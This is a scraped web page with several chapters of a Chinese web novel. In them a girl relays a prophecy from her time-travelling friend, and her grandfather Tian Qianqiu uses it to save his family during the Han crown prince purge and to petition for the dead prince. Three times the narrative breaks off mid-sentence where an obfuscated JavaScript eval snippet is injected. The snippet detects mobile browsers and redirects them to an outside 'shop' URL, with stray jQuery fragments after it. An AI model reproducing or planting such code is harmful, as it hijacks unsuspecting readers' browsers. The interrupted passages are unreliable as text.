“那就一起死!”小孩儿的脸上全是癫狂。
“冷静!冷静!”李无忧死死钳制住田贞,“我有办法救你阿母!你听我说!”田贞这才冷静下来,死死盯着李无忧,等待她的办法。
“你....你....现在就去长陵......”李无忧声音沙哑,理智告诉她不要多管闲事,不要暴露自己,可是.....可是她没法见死不救。田贞.....她是自己在这个世界唯一的朋友啊!她能为自己的出逃出手相助,承担风险,自己自然也该帮她的。
“去找你爷爷,告诉他,田家发迹的机会来了,他田千秋平步青云的机会来了!”
“你就这样说.......”李无忧一字一句教给田贞,“太子向东跑了,八月辛亥日他会死在湖县,而在他死后,皇帝会后悔,只要.....”
“记住了吗?”
田贞点头,一字不差地将李无忧所教授的话复述出来,末了,自己加了一句,“我不会说是无忧姐姐说的。”
“好孩子,聪明孩子。”李无忧捧着田贞的脸,看着她的眼睛,笃定道,“你一定可以的!快去!”
田贞撒腿狂奔,一路向南。结果没跑多久,远远就看到一群青衣人。
那群人走近,竟然和抓走阿母的是同一路人!这一回,他们还抓了其他人。被抓之人,有老有小,他们双手被反束在身后,嘴里塞了布条子。
田贞吓得一动不敢动。
“小孩儿!你乱跑什么!”青衣差役看到呆立路边的田贞,大吼道,“快回家去!不得乱走!”
田贞连忙点头,却不挪步子。官差们着急将太子逆党押解回去,吼过田贞后便不理会了。
田贞目送官差们离开,撒腿继续跑。这一回她不敢走大路了,害怕再遇上抓人的坏蛋。她一路狂奔进官邑南边的小山林,她熟悉林子里的一切,穿过灌木丛,攀过岩石,踏过踏过松软的落叶层,越往深处,光线越暗,高大的树木织成一片墨绿色的穹顶,只漏下几缕稀薄的天光,明暗交错,好似大梦一场。
“呼呼”田贞大口喘着粗气,口中全是血腥味儿,终于,在她以为自己就要撑不住的时候,高祖长陵墓地那长龙般的围墙出现在视野中。
“什么人!”长陵守卫看着小野人一般的小孩儿亮出刀剑。
“我....我....”田贞大吸一口气,大喊,“我爷爷是田千秋!我奶奶快死啦!!!”
19.第 19 章
第十九章
“我爷爷是田千秋!我奶奶快死啦!!!”田贞一嗓子石破天惊,终于将田千秋给召唤出来。
“出了何事?”田千秋看到惨兮兮的小孩儿也惊到了。
“今早奶奶突然发疯了,她要打死阿母,都打流血了。”脑中闪现过当时的场景,田贞浑身发抖,尖叫,“她要打死阿母!”
“别急,好好说。”田千秋拧眉,“你不是说你奶奶要死了吗?”听起来不是这么一回事情。
“嗯.....”田贞舔舔干裂的嘴唇,继续说,“她要打死阿母,好多人来看热闹,大家来劝,奶奶不听,还说....还说.....她打死的是太子逆党!”
“什么!”这下田千秋彻底坐不住了,他豁然起身,抓住田贞的肩膀,反复问,“你奶奶说什么?”
“她说阿母是太子逆党,要打死阿母。”田贞声音哽咽,“然后就来了官差,奶奶和官差也这么说,还说什么奖励,然后领头带刀的那个官差就把阿母、奶奶、小弟全都抓走了......”
“糊涂!糊涂!”田千秋被老妻这同归于尽的骚操作气得冒烟,咬牙切齿,“这是要拖全家去死啊!”
“她!她!她!”田千秋气得说不出话来,他低头看向小孙女,忽得察觉出不对来。
“你....你怎么.....”怎么没被抓走呢?
“无忧姐姐把我藏了起来。官差以为我是李家的孩子。”田贞回完话,忽得眼睛一闭,仰头倒地,不等田千秋反应过来,田贞又睁开了眼,刷一下坐直身体,一对黑溜溜的眼珠子直直看向田千秋。
“太子东遁,期以八月辛亥,当殁于湖县。既殁,父子情深,天子追悔。君可籍此际遇,得展经纶,他日封侯拜相,端在此举。”
“你!”田千秋听得浑身发毛,不等询问,田贞两眼一闭又昏了过去。
“快醒醒!”田千秋拍打小孩儿的脸蛋,然而,田贞纹丝不动,没有要睁眼的意思。
“这是什么意思......”田千秋心乱如麻,一时想着老妻做下的糊涂事,一时想着那句“太子八月辛亥殁于湖县”以及“封侯拜相端在此举”。
“莫不是祖宗显灵......”田千秋心脏狂跳。
“阿父!”正在当值的田父听得消息也赶了过来,一眼瞧见倒在地上的田贞,傻了眼,磕巴问道,“这、这是出什么事儿了。”
田千秋道,“你阿母告发你媳妇是太子逆党,这会儿全都被抓了。”
“什么?!”田父傻眼,“这....这.....”他简直不知道该说什么了,好一会儿才找回自己的声音,哑着嗓子问,“会不会牵连我们.....”母亲糊涂啊!谋逆之罪,当诛九族啊!
躺在地上装死的田贞闻言情不自禁握紧拳头,很想跳起来给父亲“邦邦”两拳,但是她记着李无忧的叮嘱,只得努力克制一动不动,心里却狠狠记上了一笔。
“阿父......”田父焦急无比,“这要怎么办!怎么办!”
田千秋抬手,示意田父闭嘴,莫要吵闹影响自己的思绪。
田父只得咬紧牙关,看着父亲眉头紧锁地来回踱步。
田千秋梳理整个事件。
已发生:老妻、媳妇、孙子被当做太子逆党抓走,孙女逃过一劫报信,同时,疑似祖宗显灵给出预言——太子会死在八月十日,在其死后,皇帝后悔。
可能发生:自己受到牵连,阖家入狱,或腰斩弃市,或流放边疆。
想要扭转局面只有一条路:不惜一切代价保下媳妇,彻底上了太子的船。等到皇帝后悔之日,便是田家翻身之时。只是......皇帝真的会后悔吗?可....除此之外,还有其他的活路吗?
“阿父!”见父亲久久沉默,田父着实等不及了,想出个主意来,“我这就写休书,休了阿禾,如此,我田家就和太子一党毫无干系了!”
“!”田贞听懂了,他们要抛弃阿母!
“不可!”田父连忙打断儿子,“我田家岂是那等无情无义之人!”媳妇已经被抓,这个时候想撇清关系是不可能了。
“阿父!这都什么时候了,你,你.....”田父着急,“道义和性命相比,算什么啊!”
“愚蠢!”田千秋呵斥,“即便此时休了她,我田家也一辈子翻不了身了!”
休了媳妇,田家日后将会面临两种未来:其一,太子党永无翻身之日,田氏既已烙上太子一脉之印,则于大汉官场再无出头之时;其二,若天子追悔,太子党得以洗白,然田氏于危难之际弃妇自保,其无情无义之名亦将永世难除,终不免沉沦下僚,仕途无望。
“眼下必须保住你媳妇!”田千秋握拳,“破釜沉舟,背水一战,田氏荣光,在此一举。”倘若稚子预言是真,那么,与其苟活,不如放手一搏!
“我去向寝园令告假!”田千秋心里有了成算,脚步匆忙而去。
“阿父!阿父!”田父追着田千秋而去。
田贞听见两人远去的脚步声,悄悄睁开了眼,左右打量一圈,发现屋子里已经没了人,这才爬起身,自己拿了桌几上的茶壶倒水喝。
两大碗凉茶下肚,田贞砰砰乱跳的心总算平复下来。她想,阿母应该有救了。她想,从今以后自己的命就是无忧姐姐的了——她清楚的知道,救下阿母的不是爷爷,更不是父亲,而是在关键时刻挺身而出的无忧姐姐。
“太子东遁,期以八月辛亥,当殁于湖县。既殁,父子情深,天子追悔。君可籍此际遇,得展经纶,他日封侯拜相,端在此举。”田贞反复品味着李无忧教自己的说辞,正是这段话打动了爷爷。
“封侯拜相......原来如此么.....”田贞觉得自己明白了些什么。
另一边,田千秋向上司寝园令告假,快马极鞭,直奔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396901|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长陵尉寺,即长陵尉的办公之所。
“田某愿奉上全部身家!”田千秋开门见山。
“哦。”长陵尉意味深长,笑道,“包庇逆党,乃是重罪,恕难从命。”
见对方神色,田千秋松了一口气,缓声道,“何来逆党,乃是误会一场。田家新妇乃是天子赐婚,怎会是谋逆之徒。”田母是皇后婢女没错,但是当初其脱除奴籍,嫁入田家也是天子点头的,甚至天子还与皇后笑道,“见少年情好,忆君初见时。”——见到年轻人相知相爱,就好似看到了当初的你我,彼时,卿卿亦是这般青春美好,撩人心弦。
只可惜.....想到皇后自陨于长乐宫的消息,田千秋心中叹息——欢情薄似秋云散,帝王有情人亦无情。
“原来如此。”长陵尉一副恍然大悟的模样,随即又为难道,“只是当时众人围观,彼妇言之凿凿,人言可畏.....”事情不好办呐。
田千秋在来的路上早就想好了对策,“自不会令大人难办。”田千秋并不是立时就要将田家人带回家,他要的只是长陵尉不要那么及时将此事上报——此事不必上报,暂且捂在长陵尉手中,如此,对上对下方能两全。
上头若问,便答正在详加核查;若不问,自是再好不过,待风头一过,自然皆大欢喜。至于下头,百姓毫不知情,更无波澜——啥,田家人被抓人。啥,田家人被放了。啊,看来果然是抓错人了啊。
“大人,事缓则圆,您大可静观其变,以静制动。”田千秋要争取的就是这么个缓冲期。等八月初十,先祖预言应验之时,便是自己重拳出击、背水一战之日。
长陵尉沉思不语,心中衡量的利弊得失。田家人.....石家人.....其实他今日亲自带队去长陵官邑为的不是抓捕皇后婢女,而是冲着官邑中一户姓石的人家去的——太子谋逆逃跑,天子震怒,下令“捕斩反者,自有赏罚”,如此,各地不都得交出点成绩来么。
而说来也巧合,长陵官邑中正有一户人家非常适合“太子逆党”的头衔。这户人家姓石,是罪太子少傅石德的远房亲戚,无甚家族背景,最适合交出去充“业绩”了。而抓到田家媳妇这个先皇后之婢,全然是意外之喜了。
又看眼前这身材高大伟岸、临危不惧的田千秋,长陵尉心中一动,暗道,真乃妙人哉,其日后前途必不止步于此。如此,何不卖个人情。于自己而言,将田氏家属按而不报并不是什么难事大事,风险不高。
最终,田千秋目的达成。田老太、田母、田小弟三人虽然没有被释放归家,依旧被关在县狱内。但长陵尉承诺会好生照料,并不为难。
走出长陵尉寺,再度见到高悬的烈日,田千秋长舒一口气,顿觉浑身一软,脚步踉跄,几乎栽倒。他忙扶住路旁的拴马桩,以手抚心,只觉那颗心跳得如鼓点般急促。他定了定神,仰首望天,心中默念道:“列祖在上,田氏之兴,其在此举乎!”
20.第 20 章
第二十章
征和二年七月初,天子于甘泉宫避暑,命江充为使者搜查巫蛊,太子宫中被搜出大逆不道的诅咒小人和帛书。
七月初九,太子据捕杀江充等人,调兵入未央宫,征发宫中卫士,打开武库发放武器,谋反叛逆。
七月十七日,丞相刘屈氂逃出长安,征发长安周边士兵,与太子据的人马在长安城中血战五日,死伤数万人。
七月二十一日,太子据兵败,逃出长安。
七月二十七日,卫皇后自杀,朝廷诏令全国追捕太子逆党。
越来越多的详细消息传出长安城,寥寥数语听得人心惊肉跳。
“怎会如此!怎会如此!”田父根本坐不住,宛若热锅上的蚂蚁在家中团团打转,夯土地都被他磨薄了一层,他无法理解,“天底下竟然有造反的太子?这....这....糊涂啊!”
田千秋冷眼瞧着无头苍蝇般的儿子,无心解释,他只在心里默默计算着时间,等待八月初十的到来——八月初十,太子据死于湖县。
“阿父!你别不吱声啊!”田父心里慌急了,一刻都无法安静下来,“皇....皇后都.....那咱们.....”皇后都死了,他们还有活路吗?一定会被牵连的吧。
“真是的!”田父抱怨,“不是都说太子仁德吗?仁德之人则会做出这等不忠不义的谋逆之事啊!”
怪罪完太子,田父又怪罪田千秋,“阿父也真是的,为何硬要保下那贱人,连累全家。”曾今的柔情蜜意全成了过眼云烟,剩下的只有嫌恶与怨恨。
田贞就是这个时候进屋的,她只瞥了一眼宛若疯狗的田父,便垂下了眼皮。这么多天来,她的最大进步就是学会了隐藏情绪——阿母还没有救出,什么深仇大恨只等日后结算。
“爷爷,阿父,晚膳好了。”田贞摆放桌案碗筷。如今田母、田老太就身陷囹圄,田父和田千秋也不上值,家中的一日两餐竟然落到了田贞这么个七岁小孩儿的身上。
“又是菜饭汤。”看到田贞端上来的晚膳,田父不满,“这都吃了三天的菜饭汤了。”
田贞水平有限,更没心思去琢磨吃食,因此每天做饭都很糊弄——菜切碎了和粟米一锅煮,再加点盐,就算完事儿了,和猪食没什么差别。
“嫌不好,自己煮去!”田千秋本就压力极大,此时终于忍受不了这个只会抱怨的儿子,大喝一声,“滚!”
田父被骂,顿时一动不敢动,坐在自己的桌案前,宛若鹌鹑。
“我说滚,听不懂吗。”
田父灰溜溜的滚了。田贞也跟着退下,却被叫住。
“贞丫头啊。”田千秋细细打量着田贞,忽得发现自己这大孙女相貌非常不错:额头宽阔圆润,眉毛顺而不杂,眼睛乌黑有神,鼻头有肉,嘴唇红润。更重要的是这不疾不徐的风度,十分难得——至少比她那无头苍蝇般的父亲要强上许多。
“那日的事情,你再说说看。”
“那日奶奶突然发疯殴打阿母,引来左右邻里围观......”每一天,田千秋总要反复询问田贞那一日发生的事情,田贞记性极好,连许多细枝末节都能讲出来,“无忧姐姐抱住我,藏在怀里,官差没有发现......”
“没有其他的了?”同样的话,田千秋询问过千百次了,但得到的都是田贞的摇头。
“没有了。”什么太子会死在八月初十,皇帝会后悔,田贞再也没有提及,她牢记李无忧的叮嘱——重要的话说多了就不管用了,绝招只能用一次!
“你知道湖县吗?”
田贞摇头,两眼茫然。
“是了,贞丫头连官邑都没出过,怎么会知道湖县呢,便是寻常百姓也不该知晓。”田千秋暗自揣度。从长安到湖县需要向东经过潼关、函谷关,再进入崤山。寻常百姓一辈子连坊市之门都鲜少出入,又如何能知晓那千里之外位于群山之中的湖县。
“莫不是真的祖宗显灵。”田千秋深深地看向自家大孙女。
田贞感受到爷爷打量探究的目光,不避不躲,直直回看。
“好孩子,用饭吧。”从田贞那儿得到了需要的答案,田千秋压力暂时消减,和颜悦色许多,“用过饭,爷爷教你读书识字。”
田千秋和田父都被放了长假,无需去陵园当值。说是长假,实则是一种变相的驱逐和舍弃。闲赋家中,田父坐立难安,田千秋亦心乱如麻。只不过田父无法遮掩自己的真实情绪,田千秋则老道许多,会找事做分散自己的注意力,比方说,给田贞教课。
关键是,给大孙女上课能让自己心情好上许多。
“大才!”田千秋眼中闪光,心情畅快,“不愧是我田家子孙!”在田千秋眼里,这个一直被自己忽视的大孙女绝对是个天才:过目不忘、一教便会,试问天底下能有几人做到?!
田千秋全然不知“大才”孙女其实学龄六年,从田贞能够利索说话开始,田母便如蚂蚁搬家般一点点地教授她学识,根本不是零基础。
田贞自然不会自己戳破自己。经过这次的事情,田贞发现自己必须变成一个有用的人——有用的人才不会被抛弃,有用之人在落难之时才会有人相帮。
如此,田贞不介意被勿认做是天才,更不介意被当做家族复兴的希望。
日子一天天过去。对田家人而言,每一天都是度日如年。田贞连续失眠,夜色浓重也无法闭眼睡觉。只要闭上眼,脑子里就会浮现出阿母倒在地上生死不知的模样。
她想,如果阿母被救回来,她要如何报复。
她又想,如果阿母没有得救,她要如何报复。
她想了很多很多,脑中充斥着各种暴虐和血腥,根本睡不着。
终于,八月十二日,又有新的消息传回:造反的太子死了,皇帝还活得好好的,一切如常,天下安平。
“太子死了?死在何处?哪一日的事情?”田千秋急急追问。
“就在两日前,湖县。。”报信之人不欲与田家多牵扯,说完便忙不及地跑了。
八月初十!湖县!一切都对上了!!!田千秋心中狂喜:列祖列宗在上!田氏荣光将重现于天地!
田父不知内情,闻得消息,只觉万念俱灰,“阿父!我们逃吧!”太子已死,田家再无翻身之望了!
“!”田贞听了深吸一口气,这是要放弃阿母了吗!
“糊涂!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404374|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
田父一巴掌扇上田父,肃声道,“给我好生在家中呆着,一步不许动!”
“阿父你....”田父虽然被扇得脑袋瓜嗡嗡的,但还是觉得自家父亲脑子坏掉了,再劝,“放手一搏,总好过坐以待毙。”
“蠢货!”田千秋又是一巴掌,“放手一博,你博得明白吗?!”此时出逃,要么被捕入狱,要么沦为野人,躲躲藏藏过一辈子,这算什么放手一搏。
“那阿父说个法子来!”被困家中的几日,田父每日挨训,地位还不如田贞,此时当着女儿的面被接连甩了两巴掌,终于将心中不服道出。你行你上啊!田父想不出在眼下情形,自家有什么翻身的可能。
“吾要为先太子鸣冤!”田千秋一身浩然正气。
“!”田父两眼瞪圆:阿父这是疯了吧!
等到参与围捕太子的李寿、张富昌等人因功被封为侯爵,田父更觉自家老父亲是彻底疯了——到底看不看得懂风向标?!倒太子才能大富大贵,反其道而行只会自取灭亡。
皇后死了。太子死了。太子的家臣们死了。参与起兵的长安百姓死了。然而,这场政治风暴还远远没有结束,并且丝毫没有要停歇的意思。上至王公贵族,下至数万百姓,无数生命被卷入其中,碾压成泥。整个京畿地区一片风声鹤唳,无数人糊里糊涂被捕入狱。
田千秋的上奏文书尚未完稿,长陵尉带着官差上门了。
“对不住了。”长陵尉万万没想到此次事件这般严重,关在县狱的田家婆媳是绝对留不得了,甚至包括田家父子也要一并抓捕押送进长安。如此,先前的约定算是毁约了。
“大人莫急。”田千秋却不慌不忙,似乎全然不知自己已经大祸临头了。只因他笃定,既然“八月初十,太子死于湖县”的预言已经成真。那么,下一句“既殁,天子必追悔”也一定是真的。
“你?!”长陵尉惊讶于田千秋的气定神闲,暗道,这人倒地是疯了,还是真有奇异?
田千秋嘴角含笑,说出的话却宛若淬了毒的刀子,“田某已传信北坊田氏,一旦某不幸被捕,家中族老拼死也要上奏朝廷......”说到这儿,田千秋顿了顿。
长陵尉不屑,心道,近日冤死之日数不胜数,朝廷还能单为你田千秋伸冤不成。
像是看出长陵尉心中心中所想,田千秋继续道,“上奏朝廷,不为伸冤,而为指认大人亦是同党!”
“!”长陵尉简直惊得无话可说,憋了许久才指着田千秋的鼻子大骂,“世上竟有汝等无耻之人!”自己找死还要拉个垫背的!
田千秋笑意不减,“玩笑话,玩笑话,大人莫要当真啊。”
可长陵尉完全无法将其当做玩笑话,只悔一时贪念上了贼船,恐送性命——他心知,只要有人上告自己为田千秋同党,自己绝对百口莫辩:倘若不是同党,为何扣留田氏婆媳二十余日,不立刻押送进京?在上头这种宁可错杀一千,不可放过一个的高压态势下,自己绝难保全。
威胁到位,田千秋才道,“大人,世人皆醉,千山你我独行。倘若您要是愿意信任田某。田某愿送您一场富贵。”
说罢,田千秋双手奉上墨迹未干的《讼太子冤书》。
21.第 21 章
第二十一章
“我一定是疯了。”徐干走出田家小院,被火热热的阳光一照,混沌的脑袋总算清醒了三分,然而,已经来不及了。
他低头看向手中的竹简,懊悔如潮水般涌上——在上了一次贼船之后,他又一次上了田千秋的贼船。
“徐氏子孙前途全赖君矣。”田千秋一句话打动了徐干。
徐干无甚家族背景,靠军功起家。后来大汉与匈奴的战事渐渐平息,朝廷也就不需要那么多武将了。徐干因为表现出色,文武双全,精通律令,被选拔为长陵尉。如今他已年近五十,长陵尉一职当是他官场生涯的巅峰和终点了。对此,徐干已然满足。但是,谁家没个子孙后代呢。
边疆太平,国无战事,百姓安康的同时意味着没有斩首、没有军功、没有爵位。父辈在马背上搏来的荣耀,到了下一代,只能成为一种家族记忆。徐家小辈们再想出人头地,只能走文官一路,偏偏.....徐干对文官该怎么上位两眼一抹黑。
“我一定是疯了。”田千秋戳中了徐干的软肋,令徐干丧失理智,陪他一起豪赌——田千秋请长陵卫徐干帮忙将《讼太子冤书》上达天听。
“署名只有我田某人,万一事败,一切与大人无关,全为田某咎由自取。然为大义而亡,不悔来此间走一遭。”田千秋面上慷慨激昂,心中却笃定此事必然成。
因为,实在太巧太顺了!
原本,田千秋还在忧虑如何才能上奏朝廷为故太子伸冤——如今他放着长假,几乎是半囚禁状态,往外传个书信都难,更不要说上书急报朝廷了。
就在为难之际,长陵尉上门抓捕他来了。
有一就有二,这一回,田千秋依旧是以三言两语就说动了长陵尉徐干,不仅暂时解了被捕入狱之危,更说动其为自己传递文书。
“大人?”见上司呆立田家门前许久,随行官差疑惑不已,上前请示,“咱们这是......”到底抓不抓人啊。
“怎么抓?”徐干没好气道,“人证物证全无,怎么抓?”
“啊?”手下更疑惑了——他们抓人什么时候讲证据了?新出的规定吗?自己怎么不知道?
“那......”手下不敢多言,生恐暴露了自己没有及时学习新规的无知。
“先守着!密切监控,别让人给跑了!”样子总还是要做一做的,也算是徐干为自己留的一条后路。至于其他.....
徐干握紧手中竹简,心道,情况还不算糟,主动权还是在自己手上的。
田家被围,重兵把守。田父彻底绝望,抱头哀嚎,“如何是好!如何是好!我早说要走,这下是彻底走脱不得了!”
田千秋对这个担不起事的儿子彻底失望,连训斥都懒得训斥了,他只问田贞,“家中米粮还能支撑几日?”
“因为八月大祭,阿母提前准备许多,家中米粮盐油撑过三个月不成问题。”田贞回,“只是,菜和肉......”被困家中已然二十日,菜地里的蔬菜和家里的鸡鸭早已吃光。先时还有邻里看在田氏宗族的份上多有接济,但如今士兵把守,恐怕再也无人敢伸出援手。
“无妨。”田千秋不在意地摆摆手,“有米粮足以。”
田父却叫嚷,“没有肉食倒也罢了,没有菜蔬,那....那.....”岂不数日腹中胀满,不得更衣——即便秘。
“前些日子李家丫头还送瓜果与你。”田父想起从墙头上垂下的菜篮子,冲田贞道,“就不能令她每日送些菜蔬吗?”
田贞垂眸不语,并不接话,她想,无忧姐姐为了帮自己,每日被李婶非骂即打,隔着墙都能听到那动静。如此,自己才不会为了一口吃食再拖累无忧姐姐。
“哎!你这孩子!耳朵聋了吗?”田贞不接话,田父大怒。
田贞这才抬头,眼皮儿一掀,冷冷看着无能狂怒的父亲。她想,阿母,你该来亲眼看一看。这就是你所说的对咱们不错的父亲,危难当头,他想的只有自保而已。不过,没关系,自己会一笔一笔地报复回去的。
“你!你!你这丫头!”田父被看得无端浑身一冷,叫嚷道,“你怎么可如此直视为父。”
“女儿只是难过.....”田贞淡淡道,“我们在家中尚且有一口热汤饭,真不知奶奶她们......”田贞不提阿母,只说奶奶,为得就是以孝道回怼田父——你阿母都被关大牢了,你还有心思想着吃?!
果然,田父被怼的哑口无言。还是田千秋为其解了围,他对田贞招手,“好了,该做功课了。”
田贞很喜欢跟着爷爷学习,她觉得爷爷所教之学识和阿母所教完全不同。不是说阿母教的不好,而是.....
田贞说不上来那种感觉。简单来讲,阿母教得很“小”,爷爷教得很“大”;阿母教得很“实”,是看得见、莫得着,立马就能用上的学识本事。而爷爷教得很“虚”,感觉好像没什么用场,但好像又有大用场。
“天地神其机,使人不知则曰。何解?”比如这会儿,田千秋教田贞算卦、解卦——好像是没啥用的知识,但好像又有大用。
“嗯.....”田贞思索片刻,答,“天道、宇宙、自然的运转是很神秘的,发生了什么事情都不会告诉人令人知晓,直接就来了.....嗯.....”田贞越答越糊涂,自己好像回答正确了,又好像没有回答正确。
“对喽!”田千秋笑了,“就是这个意思,天道运转、人之命运皆玄妙,难以捕捉,没有人会告诉你到底什么情况。有时候,你感觉他来了,是件糟糕的坏事,但实际上,风浪过后,却是件大好事儿。”
就比如眼下,所有人看田家,都觉得田家要完蛋了,重则抄家灭族,轻则流放边疆。只有田千秋知道,事实并非如此,眼下的困境只是天道在推着自己向前走,自己要承接这份命运的馈赠自然要褪去旧骨,重塑神魂——痛苦只是浴火重生。
“就比如现在?”田贞领悟了田千秋的意思。
“你阿父只看到亲友离散,往日友善的邻里忽的冷漠无情。”但在田千秋看来,这是一场筛选和剔除,将自己人生中那些不和事宜的累赘都清理掉,才能空出位置来迎接更远大的前程。
“好事未必就是好事,坏事也未必是坏事。”
田千秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410987|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说得很玄妙,田贞却牢牢记住了他的其中一句,“我们能做的就是稳住,得意时不忘形,失意时不放弃,坦然接受天道的安排。倘若眼下的不是自己所钟,无妨,说明一切都还没结束。”
田千秋很得意,天道玄妙,凡人无知。而他自己跳出三界,俯瞰众生,得窥未来。
田千秋稳如老狗,长陵尉徐干就不一样了。自从上了田千秋的贼船,徐干每日坐卧难安,好似热锅上的蚂蚁,无时无刻不处在燥热难安的境地,不过几日功夫,生生瘦了十来斤,两颊都凹陷下去了。
“今日什么情况?”这是徐干的每日一问,他并不敢贸然行动,只无时无刻关注着长安的动向,等待着机会的带来。
尉史将长安城的情况细细道来:谁家谁家被抓了,哪个官员被斩首了,谁谁因为搜捕逆党立功升官了——清洗还在继续,腥风血雨没有停歇的意思。
“倒是....额....”尉史想到一则消息,不知该不该说。
“嗯?”
尉史笑道,“倒是有个傻子,竟敢上书为故太子喊冤。”
“嗯?!”徐干一下眼睛瞪圆,忙追问,“然后呢?”这等蠢货一定被满门入狱了吧!
“啊?”尉史两眼茫然,什么然后?不就说个笑话,哪有什么然后,“这....属下再去探听探听?!”
“还不快去!”
尉史飞一般地退下,到了下午,便打听到了更加详细的消息。
“那人名唤令狐茂,一小小乡官。”
令狐茂,壶关人士,在全国追捕太子逆党之际,上书朝廷为太子喊冤,言是太子起兵只是为了救难自保,并无谋反之心,真正的罪魁是江充这样的奸臣。
“他疯了吧!”徐干倒吸一口凉气——这特么不相当于指着皇帝的鼻子骂他老糊涂,为君昏庸,信任奸臣;为父不慈,刻薄子孙。最后逼迫得亲生儿子不得不拿起刀剑保护自己?
“然后呢!”皇帝一定下令将这个蠢货五马分尸,满门抄斩了吧!
“?”尉史茫然,这不已经是然后了吗?哪还有什么然后?
“令狐茂没有被抓?”
尉史想了想,缓缓摇头,“不曾探得消息。”
“还不再探!”徐干气急,“如汝等这般打一棍子放个屁,放战场上,早见祖宗去了!”到底会不会探查消息!
“属下这就去!”尉史屁滚尿流地跑了。
然而,接下来两日,一探再探,什么新消息也没有。
“陛下没有斥责?”
尉史摇头。
“朝廷没有派秀衣使者去山西?”
尉史摇头。
徐干拧眉分析眼下的情况。
见状,尉史提议,“不如派人去壶关县一探究竟。”如今的消息都是长安城里传出来的。
“不必。”徐干心里有了思量,壶关距离长安五六百公里,快马加鞭一来一回也要七八日,便是探听到了消息也晚了。既然皇帝没有震怒,既然第一个出头的椽子没有烂......
战机稍纵即逝。如此.....徐干眼眸,周身杀气汹涌,拼了!
22.第 22 章
第二十二章
急变,朝廷奏章制度里最特殊的一种。它意味着事情紧急到了极点,任何中间环节都不得滞留、不得拆看、不得盘问,必须以最快的速度直达天子御前。
长陵尉徐干就是以这个途径,帮忙将田千秋的《讼太子冤书》送去了长安。文书随军马离开的一瞬,从此之后,每一妙都是度日如年。
同样度日如年的还有田贞。旷日持久的焦虑、仇恨、失眠将这个七八岁的小孩儿熬成了人干,纤细如树枝的四肢上支撑着一个大大的脑袋,仿佛只要轻轻一折就能将其折断。她的脸只剩下树叶子大小,一对黑溜溜的眼睛好似一簇鬼火,空洞而泛着冷光。
虽然爷爷看上去胜券在握,虽然无忧姐姐一遍遍安安慰自己“黑夜终将过去,黎明一定会到来”,虽然田贞自己也相信.....但这其中的煎熬、揪心依旧无法消弭。
“好讨厌啊......”田贞背靠着黄土墙,仰头看着蔚蓝的天空上云来云去,心里难过得宛如有一百把刀子捅来捅去,直把一颗火热的心捅成了稀巴烂。
“我一定....一定......”田贞在心里发誓,自己一定要成为很厉害很厉害的人,她讨厌无望的等待,讨厌无能的自己,讨厌失控的命运。
“阿母....”想到母亲,田贞鼻头泛酸,涌上的泪水洗去了眼中的冷酷,一下子从地狱爬上来的恶鬼变成了淋雨的小狗,湿漉漉、可怜巴巴。
就在这时,“咚咚”两声响从黄土墙的另一边传来。
“阿贞....阿贞....”是李无忧隔着墙在低唤,每天,她摸到机会就要来和田贞唠几句,希望自己能够排解田贞的恐惧。
“我在.....”田贞回应着——只要无事,田贞就会到墙边靠着,等待李无忧的到来,等待黑暗日子中的唯一慰藉。
“我阿母出门了。”李无忧轻快道,“外头已经解禁了,说明情况在渐渐好转呢。”
闻言,田贞瞥了一眼门外,在院墙外,挎刀的士兵依旧坚守岗位,十分敬业。
“你要多吃饭、多睡觉,你阿母一定会回来的。”每天,李无忧都是这样的话术安慰田贞。
一开始,田贞还是说自己睡不着,也吃不下饭。到了后来,田贞只道自己晓得,会好好吃饭、好好睡觉。
“那无忧姐姐你什么时候走?”田贞想起之前的“头等大事”——在太子逆反案发生前,李无忧的出逃计划对田贞而言就是头等大事。
“啊.....”墙对面的声音含糊不清。
田贞心想,既然这会儿已经解禁了,那么离无忧姐姐离开的日子也不远了。所以,阿母还没回来,无忧姐姐也要走了吗?就彻底成自己一个人了吗?
不过.....想起无忧姐姐出走的决心。田贞贴在墙上说道,“无忧姐姐,你不要担心我,我会好好的。”田贞不想连累李无忧,耽误了她的计划。
“不是的.....”墙的另一边,李无忧有些不自在。在之前,她的确迫切的想要逃跑,她害怕被长安的贵人买走,也害怕稀里糊涂被嫁了人。哪怕前路是九死一生,她也要逃走。可现在,情况不一样了啊。
汉武帝末年最大的政治风暴已然即将尾声,太子刘据死了,皇后卫子夫也死了,接下来就是田千秋登上历史舞台了。而自己在这其中是出了一份力的.....如此.....
李无忧将心中盘算轻轻道来,“等你阿母回来,你就认我做干姐姐好不好?”李无忧想要和田家人一起去长安。
